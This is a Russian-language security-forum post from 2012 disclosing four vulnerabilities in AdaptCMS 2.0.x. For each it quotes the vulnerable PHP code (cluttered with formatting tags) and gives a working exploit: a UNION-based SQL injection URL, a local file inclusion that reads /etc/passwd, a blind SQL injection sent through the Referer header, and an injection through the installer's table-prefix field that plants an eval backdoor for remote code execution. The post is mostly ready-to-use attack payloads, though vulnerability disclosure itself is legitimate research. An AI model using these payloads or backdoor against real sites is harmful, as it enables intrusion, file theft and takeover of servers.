HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 20.06.2012, 12:13
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

AdaptCMS

Уязвимости AdaptCMS 2.0.x


Сайт разработчика

Скачать

SQL injection

Зависимости: magic_quotes_gpc = off

File: /inc/function.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if ([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$poll_sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pre[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"polls WHERE poll_id = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"' AND type = 'poll'"[/COLOR][COLOR="#007700"]);

}

...[/
COLOR][/COLOR
Exploit:

http://127.0.0.1/cms/index.php?view=polls&id=1' and 1=0 union select 1,2,version(),4,5,6,7,8 --

LFI

Зависимости: magic_quotes_gpc = off

File: /inc/web/plugins.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#0000BB"]$plugin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT url,status FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pre[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"plugins WHERE name = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"_"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'plugin'[/COLOR][COLOR="#007700"]])).[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]));

if ([/COLOR][COLOR="#0000BB"]$plugin[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"Off"[/COLOR][COLOR="#007700"]) {

echo[/
COLOR][COLOR="#DD0000"]"Sorry, but the "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ucwords[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'plugin'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]" Plugin is offline"[/COLOR][COLOR="#007700"];

}
else {

[/
COLOR][COLOR="#0000BB"]$module[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]];

include ([/COLOR][COLOR="#0000BB"]$sitepath[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"plugins/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$plugin[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

...[/
COLOR][/COLOR
Данные из запроса попадают в функцию include

Exploit:

http://127.0.0.1/cms/index.php?view=plugins&plugin=a' union select '/../../../../../etc/passwd',null --

Blind SQL injection

Зависимости: нет

File: /config.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if ([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]] &&[/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"admin.php"[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {

if ([/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pre[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"stats_archive WHERE name = 'referer' AND data = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"' AND week = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"W"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' AND year = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"])) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pre[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"stats_archive VALUES (null, 'referer', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"W"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"n"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"', 1, 1, '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"')"[/COLOR][COLOR="#007700"]);

} else {

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pre[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"stats_archive SET views=views+1, date = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"' WHERE name = 'referer' AND data = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);

}

...

}

...[/
COLOR][/COLOR
Не фильтруется $_SERVER['HTTP_REFERER']. Можно крутить как слепую, если условие верно - ошибки нет.

Exploit:

Код:
Code:
GET /cms/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Referer: 1' and if(mid((select version()),1,1)=5,1,(select 1 union select 2)) -- d
Code execution

Зависимости: не удален файл install.php

Exploit:

Заходим на install.php и в качестве префикса таблицы указываем

Код:
Code:
aaa_'; if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); //
Получаем бекдор:

http://127.0.0.1/cms/inc/dbinfo.php?e=phpinfo();
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ